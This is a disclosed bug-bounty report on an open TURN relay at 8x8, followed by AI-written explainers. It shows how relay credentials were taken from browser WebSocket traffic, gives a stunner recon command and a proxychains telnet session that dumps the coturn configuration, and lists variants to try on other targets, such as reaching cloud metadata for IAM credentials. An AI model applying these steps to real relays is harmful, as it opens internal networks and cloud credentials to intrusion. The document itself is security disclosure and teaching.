Skip to content
SSRF Disclosed report Intermediate

Open TURN relay abuse is possible due to lack of peer access control (Critical)

The TURN server lacked peer access control, allowing remote attackers to bypass firewall rules and reach internal services on the server and AWS internal network. Attackers could control Coturn via its telnet server, retrieve IAM credentials from the AWS metadata service, and scan internal networks.

Sandro Gauci Follow

Originally disclosed on HackerOne

Bounty$700 High View original
  • Triaged in 3 hours
  • Fixed in 5 days
  • Paid in 4 months
  • Disclosed after 2 months

NOTE: This is not an SSRF vulnerability but an open TURN relay vulnerability. Typically, this security vulnerability has at least the same impact as an SSRF. However it is considered more useful from an attacker's point of view since attacks are not restricted to HTTP.

  • Affects:
    • █████:443
    • ████████:443

Description

The affected TURN server did not put any restrictions on peer which allows remote attackers to bypass firewall rules and reach internal services on the server itself as well as the AWS internal network. In the case of ██████████:443, both TCP and UDP peers could be specified, while ███████:443 appeared to restrict TCP and only allow UDP.

Steps To Reproduce:

  1. Retrieved temporary TURN credentials from XMPP by:
    • making use of Chrome's devtools
    • open the network tab, filter just WS connections
    • in the xmpp-websocket messages, set a filter for type='turn'
    • observe the TURN hostname and credentials
  2. Made use of an internal tool called stunner as follows: stunner recon tls://███████:443 -u ████████
  3. Made use of stunner's port scanner and socks proxy to reach the telnet server, AWS meta-data service and so on

Note that we restricted our tests to just the following to avoid causing denial of service to the system:

  • Read access to AWS meta-data service
  • Only running help and pc commands on coturn telnet server (other commands may be destructive)

The following is an excerpt from the connection to the coturn telnet server:

proxychains -f config telnet 127.0.0.1 5766
[proxychains] config file found: config
[proxychains] preloading /usr/lib64/proxychains-ng/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.13
Trying 127.0.0.1...
[proxychains] Dynamic chain  ...  127.0.0.1:9999  ...  127.0.0.1:5766  ...  OK
Connected to 127.0.0.1.
Escape character is '^]'.

> pc

  verbose: ON
  daemon process: ON
  stale-nonce: ON (*)
  stun-only: OFF (*)
  no-stun: OFF (*)
  secure-stun: OFF (*)
  do-not-use-config-file: OFF
  RFC5780 support: ON
  net engine version: 3
  net engine: UDP thread per CPU core
  enforce fingerprints: OFF
  mobility: OFF (*)
  udp-self-balance: OFF
  pidfile: /var/run/turnserver.pid
  process user ID: 0
  process group ID: 0
  process dir: /

  cipher-list: DEFAULT
  ec-curve-name: empty
  DH-key-length: 1066
  Certificate Authority file: empty
  Certificate file: /████████.crt
  Private Key file: /███.key
  Listener addr: 127.0.0.1
  Listener addr: ██████
  Listener addr: ::1
  Listener addr: ███████
  no-udp: OFF
  no-tcp: OFF
  no-dtls: OFF
  no-tls: OFF
  TLSv1.0: ON
    TLSv1.1: ON
  TLSv1.2: ON
  listener-port: 443
  tls-listener-port: 5349
  alt-listener-port: 0
  alt-tls-listener-port: 0


  Relay addr: █████
  Relay addr: ██████████
  server-relay: OFF
  no-udp-relay: OFF (*)
  no-tcp-relay: OFF (*)
  min-port: 49152
  max-port: 65535
  no-multicast-peers: OFF (*)
  no-loopback-peers: OFF (*)

  DB type: SQLite
  DB: /var/lib/turn/turndb

  Default realm: █████
  CLI session realm: █████
...

> q

Supporting Material/References:

Impact

Abuse of this vulnerability allows attackers to:

  • control Coturn by connecting to the telnet server on port 5766 which in turn, allows for writing of files on disk (e.g. using psd command), display and editing of the coturn configuration, stopping the server
  • connecting to the AWS meta-data service and retrieving IAM credentials for user HipChatVideo-Coturn, viewing user-data configuration etc
  • scanning 127.0.0.1 and internal network on ██████ and connecting to internal services

Note that in the case of ██████████:443, both TCP and UDP peers can be specified, while ███:443 appeared to be restricted to just UDP which somewhat limits the security impact of this vulnerability.

We think that it is likely that abuse of the coturn telnet server could lead to remote code execution on the server and further penetration inside 8x8's infrastructure.

The original report as published on HackerOne, by sandrogauci. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

8x8 runs a TURN service as part of its real-time communications stack. TURN (Traversal Using Relays around NAT) is the relay component of ICE: when two peers cannot reach each other directly, they send their traffic through a relay that forwards packets on their behalf. A TURN server therefore sits in a position where it can open connections to arbitrary addresses on behalf of whoever holds valid credentials, which makes peer access control the security boundary that matters.

The researcher is explicit that this is not an SSRF vulnerability in the HTTP sense but an open TURN relay vulnerability. The distinction matters because the impact is at least that of an SSRF, and from an attacker's point of view it is more useful, since the attacks are not restricted to HTTP.

Two listeners were affected:

  • █████:443
  • ████████:443

Setup

The credentials needed to use the relay were not guessed. They were taken from the application itself. The researcher retrieved temporary TURN credentials from XMPP by:

  1. Making use of Chrome's devtools.
  2. Opening the network tab and filtering just WS connections.
  3. In the xmpp-websocket messages, setting a filter for type='turn'.
  4. Observing the TURN hostname and credentials.

The tooling was an internal tool called stunner, used both for reconnaissance and for its port scanner and SOCKS proxy. The tests were deliberately kept narrow to avoid causing denial of service: read access to the AWS metadata service, and only the help and pc commands on the coturn telnet server, since other commands may be destructive.

Finding it

The affected TURN server did not put any restrictions on peer, which allows remote attackers to bypass firewall rules and reach internal services on the server itself as well as the AWS internal network. In the case of ██████████:443, both TCP and UDP peers could be specified, while ███████:443 appeared to restrict TCP and only allow UDP. That difference is the first sign that the two listeners were configured differently, and it also bounds the impact of the second one.

Exploitation

Step 1: Harvest temporary TURN credentials from the XMPP WebSocket

The credentials were retrieved from XMPP by inspecting the WebSocket messages in Chrome devtools. Filtering the WS frames for type='turn' in devtools exposes the TURN hostname and the temporary credentials, with no attack against the server required at this stage.

Step 2: Point stunner at the relay

Bash
stunner recon tls://███████:443 -u ████████

This runs stunner's reconnaissance against the TURN listener over TLS, using the harvested username.

Step 3: Reach internal services through the relay

With the relay usable, stunner's port scanner and SOCKS proxy were used to reach the telnet server, the AWS metadata service and so on. The following is an excerpt from the connection to the coturn telnet server:

Text
proxychains -f config telnet [redacted] 5766
[proxychains] config file found: config
[proxychains] preloading /usr/lib64/proxychains-ng/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.13
Trying 127.0.0.1...
[proxychains] Dynamic chain  ...  [redacted]:9999  ...  [redacted]:5766  ...  OK
Connected to 127.0.0.1.
Escape character is '^]'.

> pc

  verbose: ON
  daemon process: ON
  stale-nonce: ON (*)
  stun-only: OFF (*)
  no-stun: OFF (*)
  secure-stun: OFF (*)
  do-not-use-config-file: OFF
  RFC5780 support: ON
  net engine version: 3
  net engine: UDP thread per CPU core
  enforce fingerprints: OFF
  mobility: OFF (*)
  udp-self-balance: OFF
  pidfile: /var/run/turnserver.pid
  process user ID: 0
  process group ID: 0
  process dir: /

  cipher-list: DEFAULT
  ec-curve-name: empty
  DH-key-length: 1066
  Certificate Authority file: empty
  Certificate file: /████████.crt
  Private Key file: /███.key
  Listener addr: [redacted]
  Listener addr: ██████
  Listener addr: ::1
  Listener addr: ███████
  no-udp: OFF
  no-tcp: OFF
  no-dtls: OFF
  no-tls: OFF
  TLSv1.0: ON
    TLSv1.1: ON
  TLSv1.2: ON
  listener-port: 443
  tls-listener-port: 5349
  alt-listener-port: 0
  alt-tls-listener-port: 0

  Relay addr: █████
  Relay addr: ██████████
  server-relay: OFF
  no-udp-relay: OFF (*)
  no-tcp-relay: OFF (*)
  min-port: 49152
  max-port: 65535
  no-multicast-peers: OFF (*)
  no-loopback-peers: OFF (*)

  DB type: SQLite
  DB: /var/lib/turn/turndb

  Default realm: █████
  CLI session realm: █████
...

> q

The output is worth reading closely:

Root cause

The relay accepted peers without any access control. coturn has options for exactly this, and the configuration dump shows them disabled: no-loopback-peers: OFF (*) and no-multicast-peers: OFF (*). With no restriction on peer, a client holding valid credentials can ask the relay to open a flow to any address the relay can route to, including loopback and the internal network. The firewall rules that would normally stop an external client from reaching those services do not apply, because the traffic originates from the relay host itself.

The telnet CLI on port 5766 compounds this: it was reachable through the relay on loopback. The report does not state how the CLI was authenticated or whether it was bound only to loopback; what it does show is that reaching [redacted]:5766 through the relay was enough to run pc.

Impact

Abuse of this vulnerability allows attackers to:

  • Control coturn by connecting to the telnet server on port 5766, which in turn allows for writing of files on disk (for example using the psd command), display and editing of the coturn configuration, and stopping the server.
  • Connect to the AWS metadata service and retrieve IAM credentials for user HipChatVideo-Coturn, view user-data configuration and so on.
  • Scan [redacted] and the internal network on ██████ and connect to internal services.

The researcher considers it likely that abuse of the coturn telnet server could lead to remote code execution on the server and further penetration inside 8x8's infrastructure. That is stated as a likelihood, not a demonstrated result.

The second listener limits things: in the case of ██████████:443, both TCP and UDP peers can be specified, while ███:443 appeared to be restricted to just UDP, which somewhat limits the security impact of this vulnerability.

Fix

The report does not describe the remediation that was applied. Which of these was changed is not stated.

Variants to test

  • Loopback peers. Ask the relay for a peer of [redacted] on a port where a management service listens.
  • Cloud metadata. Request a peer for the metadata address and read a response.
  • Internal ranges. Use the relay's port scanner against internal addresses.
  • Transport differences. Test TCP and UDP peers separately on each listener.
  • Configuration disclosure. If a coturn CLI is reachable, run pc and look for no-loopback-peers, no-multicast-peers, no-udp-relay and no-tcp-relay set to OFF, and for a root process user ID.

Hunting notes

The XMPP WebSocket is a good place to start: filter WS frames for type='turn' and you get the hostname and temporary credentials without touching the server. From there, reconnaissance against the relay tells you whether peers are restricted.

The signals that point to it are in the relay's own configuration output: peer restrictions disabled, relay transports enabled, and listener or relay addresses on internal ranges. A coturn CLI reachable on loopback is the strongest signal, because it turns a relay abuse into control of the daemon.

The researcher restricted tests to read access to the AWS metadata service and only the help and pc commands on the coturn telnet server, to avoid causing denial of service.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

What happened, in plain words

8x8 runs a service that helps two computers talk to each other when they cannot connect directly. That service is called TURN, short for Traversal Using Relays around NAT. Think of it like a postal relay office: if two people cannot hand a parcel to each other directly, they both hand it to the relay office, and the office passes it on. The relay sits in the middle and forwards traffic on behalf of whoever asks.

The problem is that this relay did not put any restrictions on the peer it connects to. Anyone with a valid pass (a set of temporary credentials) could ask it to open a connection to any address it could reach, including addresses inside 8x8's own network and on the server itself. That is what "open TURN relay" means: the relay is open to any destination, not just the ones it should serve.

The researcher is careful to say this is not an SSRF vulnerability in the usual web sense. SSRF (Server-Side Request Forgery) is when a website is tricked into making a request to an address of the attacker's choosing, usually over HTTP. Here the same idea applies, but the relay can carry more than HTTP, so the attacker is not limited to web requests. The impact is at least as large as an SSRF, and in some ways more useful to an attacker.

Two network entry points (listeners) were affected:

  • █████:443
  • ████████:443

A listener is simply a door on a server where a program waits for connections. The number after the colon is the port, the numbered door. Port 443 is normally the door used for secure web traffic.

Getting the keys

The researcher did not guess the credentials needed to use the relay. They were retrieved from XMPP by inspecting the WebSocket messages in Chrome devtools. The application uses XMPP, a messaging protocol, carried over a WebSocket. A WebSocket (WS) is a connection that stays open in both directions, like a phone call rather than a letter, so messages can flow back and forth continuously.

The steps were:

  1. Open Chrome's developer tools. These are built into the browser: press F12 or right-click and choose Inspect. They let you see what the browser is sending and receiving.
  2. Open the network tab, which lists every connection the page makes, and filter for just WS connections.
  3. In the xmpp-websocket messages, set a filter for type='turn'. This narrows the list to the messages that carry TURN details.
  4. Read the TURN hostname and the credentials from those messages.

If you can see your own browser's traffic, you can see that pass too. No attack on the server was needed for this step.

Testing the relay

The researcher used an internal tool called stunner. It can probe a TURN server (reconnaissance), scan ports, and act as a SOCKS proxy. A SOCKS proxy is a middleman program: other programs send their traffic to it, and it forwards the traffic onward. Here the middleman was pointed through the relay.

Bash
stunner recon tls://███████:443 -u ████████

Line by line:

  • stunner is the name of the tool being run.
  • tls://███████:443 is the address of the TURN listener, using TLS, the encryption that protects connections (the same family as the padlock in your browser). Port 443 again.
  • -u ████████ supplies the username taken from the browser earlier.

If it does, the relay can be used as a gateway into places the attacker could not otherwise reach.

Reaching internal services

With the relay usable, the researcher used stunner's port scanner and SOCKS proxy to reach a telnet server, the AWS metadata service, and other things. Telnet is an old way of logging into a machine's command line over the network. The AWS metadata service is a special address inside Amazon's cloud that hands out information about the server, including temporary cloud credentials.

The researcher deliberately kept testing narrow to avoid knocking the service over (a denial of service). The limits were:

  • Read access to the AWS metadata service only.
  • Only the help and pc commands on the coturn telnet server, because other commands may be destructive.

coturn is the name of the software that provides the TURN relay. The report shows a telnet connection to it on port 5766.

The following is an excerpt from the connection to the coturn telnet server:

Text
proxychains -f config telnet [redacted] 5766
[proxychains] config file found: config
[proxychains] preloading /usr/lib64/proxychains-ng/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.13
Trying 127.0.0.1...
[proxychains] Dynamic chain  ...  [redacted]:9999  ...  [redacted]:5766  ...  OK
Connected to 127.0.0.1.
Escape character is '^]'.

> pc

  verbose: ON
  daemon process: ON
  stale-nonce: ON (*)
  stun-only: OFF (*)
  no-stun: OFF (*)
  secure-stun: OFF (*)
  do-not-use-config-file: OFF
  RFC5780 support: ON
  net engine version: 3
  net engine: UDP thread per CPU core
  enforce fingerprints: OFF
  mobility: OFF (*)
  udp-self-balance: OFF
  pidfile: /var/run/turnserver.pid
  process user ID: 0
  process group ID: 0
  process dir: /

  cipher-list: DEFAULT
  ec-curve-name: empty
  DH-key-length: 1066
  Certificate Authority file: empty
  Certificate file: /████████.crt
  Private Key file: /███.key
  Listener addr: [redacted]
  Listener addr: ██████
  Listener addr: ::1
  Listener addr: ███████
  no-udp: OFF
  no-tcp: OFF
  no-dtls: OFF
  no-tls: OFF
  TLSv1.0: ON
    TLSv1.1: ON
  TLSv1.2: ON
  listener-port: 443
  tls-listener-port: 5349
  alt-listener-port: 0
  alt-tls-listener-port: 0

  Relay addr: █████
  Relay addr: ██████████
  server-relay: OFF
  no-udp-relay: OFF (*)
  no-tcp-relay: OFF (*)
  min-port: 49152
  max-port: 65535
  no-multicast-peers: OFF (*)
  no-loopback-peers: OFF (*)

  DB type: SQLite
  DB: /var/lib/turn/turndb

  Default realm: █████
  CLI session realm: █████
...

> q

What each part means:

  • proxychains -f config telnet [redacted] 5766 runs the telnet program, but proxychains is a wrapper that forces the program's traffic through a proxy. -f config says which configuration file to use. [redacted] is the loopback address, meaning "this same machine". 5766 is the port of the coturn CLI.
  • The [proxychains] lines are the wrapper reporting what it is doing: it found the config, loaded its library, and set up a chain.
  • Connected to 127.0.0.1. and Escape character is '^]'. are the normal telnet greeting once the connection is up.
  • > pc is the command typed at the coturn prompt.
  • The indented lines are that configuration. A few are worth pointing out:

  • > q quits the CLI.

Why it worked

The relay accepted connections to any destination without checking whether that destination was allowed. coturn has settings for exactly this, and the dump shows them turned off: no-loopback-peers: OFF (*) and no-multicast-peers: OFF (*). With no restriction on the peer (the destination the relay connects to), anyone holding valid credentials can ask the relay to open a path to any address the relay can reach, including loopback and the internal network.

Normally a firewall stops an outside client from reaching those internal services. But the traffic here starts from the relay machine itself, so the firewall rules that guard against outside connections do not apply.

The telnet CLI on port 5766 made it worse: it was reachable through the relay on loopback. The report does not say how the CLI was authenticated or whether it was bound only to loopback. What it does show is that reaching [redacted]:5766 through the relay was enough to run pc.

What an attacker could do

Abuse of this vulnerability allows attackers to:

  • Control coturn by connecting to the telnet server on port 5766, which in turn allows writing files on disk (for example with the psd command), displaying and editing the coturn configuration, and stopping the server.
  • Connect to the AWS metadata service and retrieve IAM credentials for user HipChatVideo-Coturn, view user-data configuration and so on. IAM credentials are the keys that grant access to cloud resources; user-data is the startup configuration given to a cloud server.
  • Scan [redacted] and the internal network on ██████ and connect to internal services.

The researcher thinks it is likely that abuse of the coturn telnet server could lead to remote code execution on the server and further penetration inside 8x8's infrastructure. That is stated as a likelihood, not something that was demonstrated.

The second listener limits things: in the case of ██████████:443, both TCP and UDP peers could be specified, while ███:443 appeared to be restricted to just UDP, which somewhat limits the security impact of this vulnerability. TCP and UDP are the two main ways data travels over a network; a relay that only allows one of them still gives an attacker a path, just a narrower one.

How it should be fixed

The report does not describe the fix that was applied. Which of these was changed is not stated.

Things to try on other targets

  • Loopback peers. Ask the relay for a peer of [redacted] on a port where a management service listens.
  • Cloud metadata. Request a peer for the metadata address and read a response.
  • Internal ranges. Use the relay's port scanner against internal addresses.
  • Transport differences. Test TCP and UDP peers separately on each listener.
  • Configuration disclosure. If a coturn CLI is reachable, run pc and look for no-loopback-peers, no-multicast-peers, no-udp-relay and no-tcp-relay set to OFF, and for a root process user ID.

Where to look for this bug

The XMPP WebSocket is a good place to start: filter WS frames for type='turn' and you get the hostname and temporary credentials without touching the server. From there, reconnaissance against the relay tells you whether peers are restricted.

The signals that point to it are in the relay's own configuration output: peer restrictions disabled, relay transports enabled, and listener or relay addresses on internal ranges. A coturn CLI reachable on loopback is the strongest signal, because it turns relay abuse into control of the program.

The researcher restricted tests to read access to the AWS metadata service and only the help and pc commands on the coturn telnet server, to avoid causing denial of service.

Glossary

  • TURN (Traversal Using Relays around NAT): a relay service that forwards network traffic between two computers that cannot connect to each other directly.
  • NAT: the mechanism that lets many devices share one public internet address; it can block direct connections between two computers.
  • ICE: the set of techniques browsers use to find a working path between two peers, using TURN as a fallback.
  • Peer: in TURN, the destination address that the relay is asked to connect to on the client's behalf.
  • Listener: a door on a server where a program waits for incoming connections; identified by an address and a port.
  • Port: a number that identifies which program on a machine a connection is meant for.
  • SSRF (Server-Side Request Forgery): tricking a server into making a request to an address of the attacker's choosing.
  • Open relay: a relay that forwards traffic to any destination without checking whether it should.
  • XMPP: a messaging protocol used for chat, often carried over a WebSocket.
  • WebSocket (WS): a connection that stays open in both directions, letting messages flow continuously.
  • Chrome devtools: the inspection tools built into the Chrome browser, showing what a page sends and receives.
  • Credentials: the username and password (or temporary pass) that prove who you are.
  • TLS: the encryption that protects network connections, the same family as the padlock in a browser.
  • SOCKS proxy: a middleman program that forwards other programs' traffic onward.
  • Reconnaissance: gathering information about a target before attacking it.
  • Port scanner: a tool that checks which ports on a machine are open and accepting connections.
  • Telnet: an old protocol for logging into a machine's command line over the network.
  • CLI (command-line interface): a way of controlling a program by typing commands.
  • coturn: the software that provides the TURN relay, including the CLI on port 5766.
  • AWS metadata service: a special address inside Amazon's cloud that gives a server information about itself, including temporary cloud credentials.
  • IAM credentials: keys that grant access to cloud resources.
  • User-data: the startup configuration given to a cloud server.
  • Loopback address: the address a machine uses to refer to itself, [redacted] for IPv4 and ::1 for IPv6.
  • Multicast: sending one copy of traffic to a group of destinations at once.
  • TCP and UDP: the two main ways data travels over a network; TCP is connection-based, UDP is not.
  • Firewall: a filter that blocks or allows network traffic according to rules.
  • Root: the most powerful account on a Linux machine, identified by user ID 0.
  • Denial of service: making a service unavailable, for example by overloading it.
  • Remote code execution: running the attacker's own commands on a victim's machine.
  • WebRTC: the technology browsers use for real-time audio and video.
  • proxychains: a wrapper that forces a program's traffic through a proxy.
  • pc: the coturn CLI command that prints the current configuration.
  • psd: a coturn CLI command mentioned in the report as one that can write files on disk.

More by Sandro Gauci

View all

3 more disclosed reports, best first.

More from 8x8

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.